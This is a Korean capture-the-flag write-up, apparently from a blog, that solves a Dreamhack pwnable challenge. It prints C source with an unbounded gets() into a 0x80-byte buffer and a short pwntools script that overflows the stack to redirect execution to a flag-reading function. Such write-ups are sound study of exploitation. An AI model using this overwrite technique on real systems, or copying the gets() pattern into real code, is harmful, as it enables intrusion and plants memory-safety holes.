728x90

 

풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

소스코드를 살펴보면 buf 크기가 0x80인데 gets를 통해 받는 buf 크기에는 제약이 없어 버퍼오버플로우 취약점이 발생한다. 그러면 이제 return address를 read_flag 함수의 주소로 설정하면 flag를 얻을 수 있을 것이다.

gdb를 통해 read_flag의 주소가 0x080485b9인 것을 확인했다.

from pwn import *         

p = remote('host3.dreamhack.games', 20650)

payload = b'A'*0x84 
payload += p32(0x080485b9)

p.sendline(payload)
p.interactive()

buf와 SFP 부분은 모두 A로 채우고 return address를 read_flag의 주소값으로 하는 페이로드를 작성했다.

코드를 실행해보면 flag를 얻을 수 있다. 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11

+ Recent posts